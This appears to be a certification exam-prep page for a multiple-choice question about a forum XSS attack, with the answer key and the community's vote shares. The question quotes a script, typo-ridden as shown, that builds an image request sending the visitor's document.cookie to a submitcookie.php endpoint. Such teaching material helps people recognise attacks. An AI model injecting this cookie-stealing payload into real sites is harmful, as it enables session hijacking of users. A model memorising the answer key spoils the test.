GAQM
CPEH-001 · Question #816
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden…
The correct answer is D. This php file silently executes the code and grabs the users session cookie and session ID. See the full explanation below for the reasoning.
Question
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script> document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); </script> What issue occurred for the users who clicked on the image?Options
- AThe code inject a new cookie to the browser.
- BThe code redirects the user to another site.
- CThe code is a virus that is attempting to gather the users username and password.
- DThis php file silently executes the code and grabs the users session cookie and session ID.
How the community answered
(20 responses)- A5% (1)
- B15% (3)
- C10% (2)
- D70% (14)
Community Discussion
No community discussion yet for this question.